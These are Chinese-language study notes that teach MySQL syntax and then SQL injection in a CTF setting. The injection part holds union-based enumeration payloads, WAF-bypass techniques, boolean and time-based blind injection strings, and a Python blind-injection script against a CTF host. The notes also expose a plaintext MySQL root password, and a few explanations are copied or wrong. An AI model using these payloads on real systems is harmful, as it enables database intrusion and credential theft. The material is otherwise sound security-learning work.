SQL注入
一.数据库资料:
1.数据库分为关系型数据库和非关系型数据库,关系型数据库的资料会储存成表格的形式,表格内的资料有各种属性,以此来进行区分,属性可以被设置成primary key(主键),它可以唯一的表示每一笔资料,比如:
2.属性还可以被设置成foreign key(外键),这样的属性会和另外一个表格或所在的表格的属性产生联系,比如:
3.除此之外,如果一个primary key无法区分每一笔资料,则可以在一张表格上为多个属性设置成primary key
4.当然一个属性既可以是primary key也可以是foreign key。
二.MYSQL语法介绍:
mysqlpassword:ab2532394262c
(前言:关系数据库一般有mysql,oracle,postgrasql,sql,server等,我们主要学习mysql相关的内容。)
注释:
MySQL | Oracle | MSSQL | |
---|---|---|---|
注释符 | /**/、#、/!/、/!50000xx/、–、-- - 、–+ | –、/**/ --%0a- | –、/**/、–%0a- |
空白字符 | %09%0A%0B%0C%0D%20 | %00%09%0A%0B%0C%0D%20 | %00-%20 |
1.注释符号:
--(空格)和--+
URL传参时,参数包含有特殊字符(%、#、&)的处理方法
其中+表示空格,也就是可以用--+代替--(空格)
#
url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#
解决方法:直接在url中使用#号有问题,就可以把#号转换成url编码(%23)就可以执行了
2.表注释
创建表的时候写注释,在使用comment关键字
create table 表名
(
字段名 类型 comment '字段的注释'
)comment='表的注释';
1.增:
-- 建库
create database ``
-- 建表
create table ``(); -- 括号里依次填写属性的名称、类型、(可选)参数(如图,主键和外键也是类型,也可以另起一行写primary key(属性名)),每填完一个属性用逗号隔开
CREATE TABLE table_name(
column_name1 data_type(size),
column_name2 data_type(size),
column_name3 data_type(size),
....
);
可选参数:
1.AUTO_INCREMENT
这是MySQL在创建表的过程中定义的自增列,自增长列的一个作用就是定义的列可以自动按指定步长进行整数增长,默认是按1增长。
2.DEFAUL
这是在创建表过程中指定默认值,通常是NULL,但也可以指定为其它值,其它值的类型必须与定义的列的类型一致。
3.PRIMARY KEY
这是创建表过程中指定的主键,主键具有唯一不能为NULL的属性。
-- alter和insert
alter table `表名` add/(drop column+属性名) +属性名+类型;----为表格增添(删除)属性
insert into `表名` values();----在表格里填写内容,括号内按照各个属性*依次*填写一整行内容(如果不想依次填写,可以在表名后加括号在括号里填写想要的属性顺序,再按照自己设定的顺序填写即可)
例如:insert into student values(1,'小马',50,'数学'),(2,'小马',60,'物理');
-- ⑤避免重复内容添加(注意要有主键)
INSERT IGNORE INTO 表名 (列 1,列 2, ...)
VALUES (值 1,值 2, ...);
2.删:
drop database ``;----删除一个资料库
drop table ``;----删除一个表格
delete from ‘表名’
[可选]where ‘属性’=内容;--------删除这一行的资料(可以写多个判断中间用and连接)
[可选]order by ‘属性’ ------------按照指定顺序删除
[可选]limit num--------------------用于告知服务器在控制命令被返回到客户端前被删除行的最大值
3.查:
-- describe查询
查表和列
describe '表格';----查看表格(只能看到属性和表名)
desc ... ---简写
-- show查询
查所有数据库
show databases;
查表
show tables (form database)
查列
show columns from `words`;
-- select查询
查字段
select ‘属性’ from ‘表格’;-----只查看表格里的某个属性下的资料
select * from '表格';----查看表格里的全部资料
-- 与order by和where和limit组合
select *
from '表格'----选取表格
order by ‘属性’ -----按照某些属性排序(默认由小到大,后面加上desc表示由大到小)
where ‘属性’=‘内容’(或者‘属性’ like ‘内容’)------显示符合的内容(可以写多个中间用and连接,如果用or连接则表示只要有一个成立即可输出)
limit n,m;------条件语句,表示从第n行开始显示前m行;
-- as:重新指定字段或者表的别名
1.字段名:
select table.a as '课程号', table.b as '课程名称', COUNT(table.c) as '选课人数' from table
2.表别名:(就是我把select a.mycol from table a 查询出来的集合命名成表t)
select t.name from (select a.mycol from table a) as t
-- 函数:
avg('字段')----平均数
sum('字段')------求和
max/min('字段')------求最值
distinct ('字段')-----去除重复项
count('字段')----计算字段下的行数
-- 万用字元:"%"可以代表多个字元,比如说,表示结尾是648的所有资料:%648,表示开头是233的所有资料:233%
4.改:
# 改字段
update ‘表格’-------确定要更改的表格
set ‘属性’=内容------想要将目标更改成的样子(可以改多个,逗号隔开)
where ‘属性’=内容;------确定更改的具体目标(所在的行)
-- 基础语法
alter table <表名> [改变方式]
改变方式包含: add ,change,drop,modify
-- 修改表名
alter table old_table rename to new_table;
-- 改注释
-- 改表注释
alter table 表名 comment '修改后的表的注释';
-- 改字段注释
alter table 表名 modify column 字段名 字段类型 comment '修改后的字段注释';
-- 改字段类型
alter table `表名` modify column(可略写) `字段名` 字段类型
-- 改为自增主键
alter table t_app modify column aid int(5) auto_increment ;
-- 改字段名字(要重新指定该字段的类型)
alter table t_app change old_name new_name varchar(20) not null;
-- 增添
-- 增主键
alter table t_app add aid int(5) not null ,add primary key (aid);
alter table t_app add aid int(5) not null auto_increment ,add primary key (aid); (自增主键)
-- 删主键
alter table table_name drop primary key;
-- 删除字段
alter table t_app drop aid;
-- 单独使用rename
-- 改表名(等价于alter)
rename table old_table to new_table;
5.限制语句
为属性添加限制语句可以对属性下的内容信息进行限制
比如,在属性’name‘ varchar(13)后填上not null,则为表格增添内容时不能在name属性下填null,否则会报错。
其他限制语句还有:
unique(让内容不能重复)
default ’ ‘(预设,代替null)
auto_increment(让类型为int的属性自动填写值如1.2.3...从而不必再填写内容)
6.逻辑符号:
①不等于----<>
②大于等于---->=
③小于等于-----< =
④或者-----or ||
⑤且-----and &&
⑥非-----not !
⑦等于其中之一-----in(a,b,c...)【类似于or语句】
1.逻辑异或----xor
表示当任意一个操作数为null时,返回值为null;
对于非null的操作数,如果两个操作数都是非0值或者都是0值,则返回结果为0;
如果一个为0值,另一个为非0值,返回结果为1。
2.位或----|
规则:与0异或位不变,与1异或位翻转
位或运算的实质是将参与运算的几个数据按照对应的二进制数作为进行逻辑或运算。对应的二进制位有一个或两个为1则该位的运算结果为1,否则为0。
3.位与-----&
位与运算的实质是将参与运算的几个操作数按照对应的二进制数逐位进行逻辑与运算。对应的二进制位都是1或1则该位的运算结果为1,否则为0。
3.位异或----^
位与运算的实质是将参与运算的几个操作数按照对应的二进制数逐位进行逻辑与运算。对应的二进制位都是1或1则该位的运算结果为1,否则为0。
windows前端open语句:mysql -uroot -pab2532394262c
7.sql的特殊符号:
1.``(勾号):为了防止sql报错。 因为sql中有一些保留字,当用户的字段名是它的保留字时,这个时候必须在sql语句中加`,否则sql就会报错。
2.~(位非)
运算法则:0变1,1变0
~170 的二进制:1111 1111 0101 0101 十进制为:-171
~75 的二进制:1111 1111 1011 0100 十进制为:-76
双写用法:~~1000=1000(相当于没写)
3.&(位与)
上下运算,按照与的运算规则:0&0=0 ;0&1=0;1&1=1
例如:
170 & 75 结果为:0000 0000 0000 1010
再把二进制转换为十进制:10
ex. select 170 & 75 = 10
4.|(位或)
上下运算,按照与的运算规则:0|0=0 ;0|1=1;1|1=1
例如:
170 & 75 结果为:0000 0000 1110 1011
再把二进制转换为十进制:235
5.^(位异或)
上下运算,按照与的运算规则:0&0=0 ;0&1=1;1&1=0
例如:
170 & 75 结果为:0000 0000 1110 0001
再把二进制转换为十进制:225
6.%%
双百分号:伪字段引用变量关键字的前缀:%%CLASSNAME、%%CLASSNAMEQ、%%ID和%%TABLENAME,在ObjectScript计算字段代码和触发器代码中使用。
https://blog.csdn.net/yaoxin521123/article/details/119980961
8.外键约束
网站笔记
https://greenhathg.github.io/2019/06/20/Mysql外键与级联操作/
CREATE TABLE students(
id INT,
class_id INT,
name VARCHAR(10),
INDEX(class_id),
PRIMARY KEY(id),
FOREIGN KEY (class_id) REFERENCES classes (id)
)
# 以上父表是:classes 表
# 字表是:students 表
# 创建表:先创建父表,再创建子表;
# 删除数据:先删除子表中的数据,再删除父表中的数据;
# 插入数据:先插入父表中的数据,再插入子表中的数据。
ALTER TABLE students
ADD CONSTRAINT fk_class_id
FOREIGN KEY (class_id)
REFERENCES classes (id);
# 外键约束的名称 fk_class_id 可以任意,不用名字的话可以去掉 CONSTRAINT fk_class_id
# FOREIGN KEY (class_id) 指定了 class_id 作为外键
# REFERENCES classes (id) 指定了这个外键将关联到 classes 表的 id 列(即 classes 表的主键)
9.级联操作
CREATE TABLE students(
id INT,
class_id INT,
name VARCHAR(10),
INDEX(class_id),
PRIMARY KEY(id),
FOREIGN KEY (class_id) REFERENCES classes (id)
ON DELETE CASCADE ON UPDATE CASCADE
);
ALTER TABLE students
ADD CONSTRAINT fk_class_id
FOREIGN KEY (class_id)
REFERENCES classes (id)
ON DELETE CASCADE ON UPDATE CASCADE;
# 在删除父表中的数据的时候,级联删除子表中的数据 on delete cascade
# 在更新父表中的数据时候,级联更新子表中的数据 on update cascade
# 级联操作在外键约束后面添加
10.通配符
SQL 通配符必须与 LIKE 运算符一起使用。
用法:
select *from tb where td like 'c%'; -- 查询tb表中td字段下以c开头的内容
11.优先级
sql 执行顺序优先级由高到低依次是:from 关键字后面的语句、where 关键字后面的语句、“ group by ”后面的语句、select 后面的语句、“ order by ”后面的语句。
12.变量
-- 变量的分类 : 局部变量和全局变量,局部变量用@来标识,全局变量用@@来标识(常用的全局变量一般都是已经定义好的)
-- 声明变量 : 变量在使用前必须先声明才能够使用。(一些环境不能声明,只能直接赋值)
-- 申明局部变量语法
DECLARE @变量名 数据类型;
例如: declare @a int;
-- 局部变量赋值
SET 变量名=值
SELECT 变量名1:=值1,变量名2=值2
-- sql中':='符号为对变量赋值;
例如:设置排名
SET @rank=0;
SELECT @rank :=(@rank + 1) AS rank,s_id, s_name, sum_score
FROM (
SELECT s.s_id, s.s_name, SUM(c.s_score) AS sum_score
FROM student s
INNER JOIN score c ON s.s_id = c.s_id
GROUP BY s.s_id, s.s_name
) as a
ORDER BY sum_score DESC;
三、base:
1.基础数据库的介绍:
2.大小关系:
四、sql注入
4.1.基础函数:
1.1 计算类
-- 函数:
avg('字段')----平均数
sum('字段')------求和
max/min('字段')------求最值
distinct ('字段')-----去除重复项
count('字段')----计算字段下的行数
-- 其他
round() ---- 对某个数值(字段)保留指定小数位数(四舍五入)
语法:round(value,n)
参数说明
value:数值。可为储存数值的字段。
n:小数点位数,为自然数。
说明:①用法与excel的round函数相似。
②数值四舍五入,不够用0来凑。
例子:
#保留2301.15476的两位小数。
select round(2301.15476,2)
#结果为=》2301.15
1.2 注入
sleep函数:sleep(t)运行时延迟t秒输出页面内容。
substr('xxx',i,n) 分割字符串函数:(替代函数mid('xxx',i,n))(类似函数left('xxx',n)从左往右截取n个字符)。函数表示从字符串第i个字符开始,取n个字符然后输出,如果不写n的值则默认输出到最后。
length('xxx'):查询字符串长度。
ascii('x'):返回一个字符的ascii码(替代函数:ord('x'))。
4.2 代码例子
2.1 show 函数的用法
-- 列出所有数据库:
show databases;
查某数据库下又那些表
1.第一种:直接查
show tables from information_schema;-- 以查information_schema下的表为例
2.第二种:先使用再查
use information_schema;
show tables;
2.2 select的几种用法
1.查询时间
-- 查询时间:(随选择的时区和时间的变化而变化)
select now();
2.当前数据
-- 查看当前选择的数据库:(随use语句的变化而变化)
select database();
3.版本
select version();
4.安装系统
-- 以mysql为例
select @@version_compile_os;
5.当前登录数据库的用户
select user();
6.简单计算
select 1+1;
7.查看数据路径
-- 以mysql数据存放文件和mysql安装目录为例
select @@datadir;
select @@basedir;
8.查询表中的数据
-- 以查询`mysql`数据库中的`user`表为例(*表示全部,如果想查部分字段的内容,可以将*改为字段名,前提是你知道字段名,你可以先查全部找到想看的字段名记下,再进行输入,使结果只显示你要的部分内容,相邻字段用逗号隔开)
select * from mysql.user;
select host,user from mysql.user;
验证
-- show databases和show tables的结果来源
select *from information_schema.schemata;
select schema_name from information_schema.schemata;
show databases;
select *from information_schema.tables;
select table_name from information_schema.tables; #where table_schema='原神';
show tables from information_schema;
2.3 describe的用法
1.查看字段和字段类型
-- 以mysql数据库中user表格为例
describe mysql.user;
2.简写
-- describe可以简写成disc
desc mysql.user
2.4条件语句
1.where
-- where相当if的判断,用来筛选符合要求的信息:以查询mysql数据库的user表格中,满足字段user下的内容为root,且字段host下的内容为localhost的资料
select host,user from mysql.user where user ='root' and host='localhost';
2.order by
-- 除此之外条件语句还有order by+字段名(或者数字表示第几列),表示按指定的列排序(下面为,按表t1中,字段为id的列排序)
select * from t1 order by id ASC;
-- 升序/倒序排列 ASC/DESC
3.group by
-- 根据group by后面的字段分类整个表中的内容,也就是字段相同的归为一类
-- 根据name字段将student表中的信息分类,然后同类的score字段下的数据求和,最后显示name和sum(score)的结果(每一类显示一行)
select name,sum(score) from Student group by name
-- 使用 WITH ROLLUP,此函数是对聚合函数进行求和,注意 with rollup是对 group by 后的第一个字段,进行分组求和。
4.limit
limit n,m;------条件语句,表示从第n行开始显示前m行;
limit m -----只返回前m行内容
5.having
在 SQL 中增加 HAVING 子句原因是,WHERE 关键字无法与合计函数一起使用。
WHERE 搜索条件在进行分组操作之前应用;而 HAVING 搜索条件在进行分组操作之后应用。
例子:现在,我们希望查找订单总金额少于 2000 的客户。
我们使用如下 SQL 语句:
SELECT Customer,SUM(OrderPrice) FROM Orders
GROUP BY Customer
HAVING SUM(OrderPrice)<2000
2.5特殊条件
1.is和in条件
IS NULL 是SQL中一种用于在条件语句中检查列是否为空(NULL)的特殊条件操作符。
IS NULL 可以用于任何数据类型的列,包括数字、字符串、日期等。
IS NULL 用于判断某个列的值是否为 NULL。
IS NULL 返回一个布尔值,如果列的值为 NULL,则返回真(true),否则返回假(false)。
IS NULL 通常与其他条件运算符(如 WHERE 子句中的等号操作符)一起使用,以进一步筛选结果集。
其他:
is null 是否为空;
is not null 是否不为空;
in 判断一个值是in列表中的任意一个值;
not in 判断一个值不是in列表中的任意一个值;
like 通配符匹配;
between and 判断一个值是否在两个值之间。
2.逻辑符号
>大于;>=大于等于;<小于;<=小于等于 =等于;!=或<> 不等于;
2.6 union联合查询
1.介绍
-- union联合查询命令:同时查询多个表格并将查询结果汇总到同一张表格中,主语表格间的字段数量要一致,字段名字可以不一致,完全相同的信息只会显示一次
基础用法:联合查询test.t1和test.t2(没有就当场创建)
create table test.t2 (id int,nbme varchar(10));
insert into test.t2 values (7,"giegie");
select * from test.t1 union select * from test.t2;
2.判断表格的字段数
select * from test.t1 union select 1,1; #这里输入了1,1输出了值则表示表格t1有两个字段,如果不输出值那就改成1,1,1以此类推
3.视图
-- 视图,虚拟表,从一个表或多个表中查询出来的表,作用和真实表一样,包含一系列带有行和列的数据
语法:CREATE VIEW 视图名 AS 查询数据源表语句;
例子:
create view student_id as select id,name from student;
-- 使用视图其实和使用表没啥区别,正常查询就可以了
select *from studeny_id;
-- 视图的修改
语法一: CREATE OR REPLACE VIEW 视图名 AS 查询语句;# 兼具视图创建和修改的功能
语法二: ALTER VIEW 视图名 AS 查询语句;# 只有修改功
-- 视图的删除
语法:DROP VIEW 视图名
例如: drop view student_id;
-- 注意:
● 视图不会独立存储数据,原表发生改变,视图也发生改变。没有优化任何查询性能。
● 如果视图包含以下结构中的一种,则视图不可更新。
● 聚合函数的结果。
● DISTINCT 去重后的结果。
● GROUP BY 分组后的结果。
● HAVING 筛选过滤后的结果。
● UNION、UNION ALL 联合后的结果。
2.7 except联合查询
SQL EXCEPT子句/操作符用于合并两个SELECT语句,并从那些没有被第二个SELECT语句返回的第一个SELECT语句返回行。这意味着EXCEPT仅返回行,在第二个SELECT语句不可用。
正如使用UNION操作,同样的规则时,使用EXCEPT操作符适用。MySQL不支持EXCEPT运算符。
2.8 连结(JOIN)
如果想要从多个表获取信息,例如, 如果我们想要找出某个商店里的衣服类商品的名称,数量及价格等信息, 则必须分别从 ShopProduct 表和 Product 表获取信息。
内连结(INNER JOIN)
语法:from <tb_1> inner join <tb_2> on <condition(s)>
Product 表保存了 商品编号, 商品名称 ,商品种类 等信息,这个表可以提供关于衣服种类的衣服的详细信息, 但是不能提供商店信息。
ShopProduct 表, 这个表里有 商店编号名称, 商店的商品编号及数量. 但要想获取 商品的种类及名称售价 等信息,则必须借助于 Product 表。
找出一个类似于"轴"或者"桥梁"的公共列, 将两张表用这个列连结起来。这就是连结运算所要作的事情。
-- 商品编号列是一个公共列,因此很自然的事情就是用这个商品编号列来作为连接的“桥梁”,将Product和ShopProduct这两张表连接起来。
按照内连结的语法, 在 FROM 子句中使用 INNER JOIN 将两张表连接起来, 并为 ON 子句指定连结条件为 ShopProduct.product_id=Product.product_id, 就得到了如下的查询语句:
SELECT SP.shop_id
,SP.shop_name
,SP.product_id
,P.product_name
,P.product_type
,P.sale_price
,SP.quantity
from ShopProduct AS SP
inner join Product AS P
on SP.product_id = P.product_id;
要点:1. select 子句中的列最好按照 表名.列名 的格式来使用。(当两张表的列除了用于关联的列之外, 没有名称相同的列的时候, 也可以不写表名)
结合 WHERE 子句使用内连结
如果需要在使用内连结的时候同时使用 WHERE 子句对检索结果进行筛选, 则需要把 WHERE 子句写在 ON 子句的后边。
第一种增加 WEHRE 子句的方式, 就是把上述查询作为子查询, 用括号封装起来, 然后在外层查询增加筛选条件
SELECT *
FROM (-- 第一步查询的结果
SELECT SP.shop_id
,SP.shop_name
,SP.product_id
,P.product_name
,P.product_type
,P.sale_price
,SP.quantity
FROM ShopProduct AS SP
INNER JOIN Product AS P
ON SP.product_id = P.product_id) AS STEP1
WHERE shop_name = '东京'
AND product_type = '衣服' ;
但实际上, 如果熟知 WHERE 子句将在 FROM 子句之后执行, 也就是说, 在做完 INNER JOIN ... ON 得到一个新表后, 才会执行 WHERE 子句, 那么就得到标准的写法:
SELECT SP.shop_id
,SP.shop_name
,SP.product_id
,P.product_name
,P.product_type
,P.sale_price
,SP.quantity
FROM ShopProduct AS SP
INNER JOIN Product AS P
ON SP.product_id = P.product_id
WHERE SP.shop_name = '东京'
AND P.product_type = '衣服' ;
自连结(SELF JOIN)
一张表也可以与自身作连结, 这种连接称之为自连结. 需要注意, 自连结并不是区分于内连结和外连结的第三种连结, 自连结可以是外连结也可以是内连结, 它是不同于内连结外连结的另一个连结的分类方法。
自然连结(NATURAL JOIN)
自然连结并不是区别于内连结和外连结的第三种连结, 它其实是内连结的一种特例--当两个表进行自然连结时, 会按照两个表中都包含的列名来进行等值内连结, 此时无需使用 ON 来指定连接条件。
SELECT * FROM shopproduct NATURAL JOIN Product
上述查询得到的结果, 会把两个表的公共列(这里是 product_id, 可以有多个公共列)放在第一列, 然后按照两个表的顺序和表中列的顺序, 将两个表中的其他列都罗列出来。
外连结(OUTER JOIN)
左连结会保存左表中无法按照 ON 子句匹配到的行, 此时对应右表的行均为缺失值; 右连结则会保存右表中无法按照 ON 子句匹配到的行, 此时对应左表的行均为缺失值; 而全外连结则会同时保存两个表中无法按照 ON子句匹配到的行, 相应的另一张表中的行用缺失值填充。
三种外连结的对应语法分别为:
-- 左连结
FROM <tb_1> LEFT OUTER JOIN <tb_2> ON <condition(s)>
-- 右连结
FROM <tb_1> RIGHT OUTER JOIN <tb_2> ON <condition(s)>
-- 全外连结
FROM <tb_1> FULL OUTER JOIN <tb_2> ON <condition(s)>
例子:
SELECT SP.shop_id
,SP.shop_name
,SP.product_id
,P.product_name
,P.sale_price
FROM Product AS P
LEFT OUTER JOIN ShopProduct AS SP
ON SP.product_id = P.product_id;
2.9 其他函数
1.String类
-- length('xxx'):查询字符串长度
select length('abcde');
-- ascii('x'):返回一个字符的ascii码(替代函数:ord('x'))
select ascii('a');
-- count(*):查询一个表中一共有几条数据
select count(*) from test.t1;# 一共有四条数据
select * from test.t1 where name='zwh' or 1=1#'
-- concat(string1, string2, ...) 连接多个字符串
-- 在mysql中,load_file(file_name)函数读取一个文件并将其内容作为字符串返回。其中file_name是文件的完整路径。
select load_file('D:\\www\a.txt');
-- substr('xxx',i,n) 分割字符串函数:(替代函数mid('xxx',i,n))(类似函数left('xxx',n)从左往右截取n个字符)
用法:函数表示从字符串第i个字符开始,取n个字符然后输出,如果不写n的值则默认输出到最后
select substr('abcdef',1,3);# 从第1个字符a开始取3个字符,即输出abc
select substr(database(),1,1)='a';# database()输出结果一定是字符串,那么我们可以用来判断第数据库名字的第一个字符是否等于xxx,输出1为真,0为假
2.IF
-- if(expr1,expr2,expr3)
expr1值为TRUE,则返回值为expr2
expr1值为FALSE,则返回值为expr3
-- ifnull( expr1 , expr2 )
判断第一个参数expr1是否为NULL:
如果expr1不为空,直接返回expr1;
如果expr1为空,返回第二个参数 expr2
-- nullif(expr1,expr2):如果两个参数相等则返回NULL,否则返回第一个参数的值expr1
3.case
Case具有两种格式。简单Case函数和Case搜索函数。
--简单Case函数
CASE sex
WHEN '1' THEN '男'
WHEN '2' THEN '女'
ELSE '其他' END
--Case搜索函数
CASE WHEN sex = '1' THEN '男'
WHEN sex = '2' THEN '女'
ELSE '其他' END
4.rank
1.rank() over的用法
作用:查出指定条件后的进行排名,条件相同排名相同,排名间断不连续。
例如:成绩排名,使用这个函数,成绩相同的两名是并列,其他依次从分数高到低排名
select id,name,score,rank() over(order by score desc) 'rank' from student_score;
2.dense_rank() over
和rank() over 的作用相同,区别在于dense_rank() over 排名是密集连续的。例如学生排名,使用这个函数,成绩相同的两名是并列,下一位同学接着下一个名次,而不会跳过一个名次。
select id,name,score,dense_rank() over(order by score desc) 'rank' from student_score;
3.row_number() over
这个函数不需要考虑是否并列,即使根据条件查询出来的数值相同也会进行连续排序
注意:rank本身是个函数所以当我们取别名时要加''引号
2.10实战训练技巧
1.解题流程
前提:找到回显点!!!
①找字段数
②查库名
③查表名
④查字段
⑤查内容
-- 查版本
and 1=2 union select 1,version()
#原理:and 1=2显然不成立,则不会执行页面的正常select语句,这时再使用联合查询,页面就只会执行union后面的内容,保证页面只显示我们需要的信息,也就是数据库版本version()
-- 查数据库名(所有)
and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata)200;
group_concat(字段) -- 他会将字段下的所有内容连接成一个字符串
#原理:基本同上,只是用到了information_schema数据库中的schemata表,这个表包含了所有数据库(schema)的信息(information),比如这里的schema_name字段下就包含了所有数据库的名字
-- 当前数据库
and 1=2 union select 1,database();
-- 查表名(all)
and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database());
#原理:information_schema.tables表中是所有表的信息,table_name字段下是所有表的名字。该语句会查询当前数据库中所有表的名字
-- 查字段名
and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='admin');
#原理:information_schema.columns表中是所有字段(columns)的信息,column_name字段下是所有字段名字,该语句会查询当前数据库表名为'admin'的所有字段名
-- 查字段内容
and 1=2 union select 1,(select concat(username,',',password) from admin);
注意报错:
1.Error Code: 1242. Subquery returns more than 1 row
当你在查询中使用了子查询,并且这个子查询返回了多个结果(多于一行),而你尝试将这个结果与主查询的其他部分进行比较或处理时,就会发生这个错误。
2.技巧拆解
①判断注入点:
select * from test.t1 where name='1'or 1=1 ;#';
②判断表的字段数:
select * from test.t1 order by +1到n(直到发现异常,记录此时的n,则说明表中共有n-1个字段)
select * from test.t1 where id=1 union select 1,1...,1(不断增加1的个数,直到页面正常,则此时1的个数就是字段数)
③判断回显:
-- 有些页面只会调取部分数据库中的信息回显,这时可以通过limit来切换显示的内容
select ... limit x,1-n (从1开始到n,直到页面不在发生变化,此时n就是页面会显示多少条内容,改变x来切换到想看的内容)
④绕过
最基础绕过:
'#'在网页编码时会报错,可以用%23代替,也可以用--+代替
其他绕过技巧:
1.注释符号绕过
-- 注释内容
# 注释内容
/*注释内容*/
;
2.大小写绕过
strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串,区分大小写。
UniOn
SeleCt
3.内联注释绕过
内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。
select * from cms_users where userid=1 union /*!select*/ 1,2,3;
4.双写绕过
在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求
" admin' && 1=2 ununionion selselectect 1,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),3# "
5.编码绕过
如URLEncode编码,ASCII,HEX,unicode编码绕过:
① 1+and+1=2两次url全编码:1+%25%36%31%25%36%65%25%36%34+1=2
# php脚本:
<?php
function ue($str) {
$encoded = '';
$len = strlen($str);
for ($i = 0; $i < $len; $i++) {
$char = $str[$i];
$encoded .= '%' . strtoupper(dechex(ord($char)));
}
return $encoded;
}
$str = "xxx";
$encoded_str = ue(ue($str));
echo $encoded_str;
② ascii编码绕过:Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
③ 16进制绕过:select * from users where username = test1;
select * from users where username = 0x7465737431;
④ unicode编码对部分符号的绕过:
单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09
6.<>大于小于号绕过
在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。
greatest(n1, n2, n3…):返回n中的最大值 或least(n1,n2,n3…):返回n中的最小值
select * from cms_users where userid=1 and greatest(ascii(substr(database(),1,1)),1)=99;
7.空格绕过
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
%09
8.对or and xor not 绕过
or = ||
and = &&
xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);
not = !
在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0
sql_mode=PIPES_AS_CONCAT来转换操作符的作用
mssql中||表示连接操作符,不表示或的逻辑。(MySQL连接字符操作符是一种特殊的符号,用于连接两个字符串。在MySQL中,连接字符操作符通常表示为“||”,“+”或“CONCAT”函数。)
set sql_mode=PIPES_AS_CONCAT(改变||的作用)
9.对等号=绕过
10.对单引号的绕过
使用十六进制
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:select column_name from information_schema.tables where table_name="users"
遇到这样的问题就要使用十六进制来处理这个问题了。users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
其他方法:宽字节
11.对逗号的绕过
sql盲注时常用到以下的函数:
---substr():
substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后
substring()用法和substr()一样
----mid()
用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的
---left()和right()
left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
---limit
limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始
---ascii()和char()
ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符
#对于substr()和mid()这两个方法可以使用from for 的方式来解决
select substr(database() from 1 for 1)='c';
12.过滤函数绕过
https://blog.csdn.net/weixin_42478365/article/details/119300607
4.3报错
1.SQLSTATE
五、实战演示
0.类型判断:
①数字型:查询语句中条件判断的注入点为整型
②字符型:查询语句中条件判断的注入点为字符型
一般字符型也分为单引号注入和双引号注入,闭合方式不同
括号闭合:
有些题目除了在参数外加引号外还会加括号,例如:
select ... where id = ('$id');
因此闭合时应该是:?id= 1')#
1.GET型注入:
输入?id=1 正常回显
输入?id=1'
任然正常回显
输入?id=1"
报错:位置在【 "1"") limit 0,1 】处,说明语句为:
select ... where id = ("$id") limit 0,1;
闭合方式:?id=1")--+
2.POST型注入:
什么事post注入?
答:根据网页传递参数的方式为post,注入点在post数据包中就是post型注入。
使用burp抓包,得到了post数据包
将数据包放到【repeater】中
【send】:在应答包中显示【该用户不存在或账户未激活】的提示信息
判断注入点已经注入类型:
说明存在该注入点,且注入类型是字符类型(加入单引号闭合,出现报错,说明不是字符型)
接下来就是判断字段数,判断数据库名称,表名,字段名等等信息
3.布尔盲注:
联合注入是需要页面有回显位,如果数据不显示只有对错页面显示我们可以选择布尔盲注。
布尔盲注主要用到length(),ascii() ,substr()这三个函数
-- 注意:布尔盲注适合页面对于错误和正确结果有不同反应的题目
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
python盲注脚本
import time
import requests
url = "http://3d63bec3-9674-4015-8b95-665ab2c68324.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
for j in range(32, 128):
#time.sleep(0.1)
payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
response = requests.post(url=url, data={'id':payload.format(m=i,n=j)}) #这里是post提交
if response.text.find('girl') == -1:
result += chr(j)
print(j)
break
print("正在注出flag:", result)
print("flag的值为:", result)
4.时间盲注:
-- 页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数
-- sleep函数:sql时间盲注
用法:sleep(t)运行时延迟t秒输出页面内容
select * from test.t1;
select * from test.t1 where name='张三' or sleep(1);
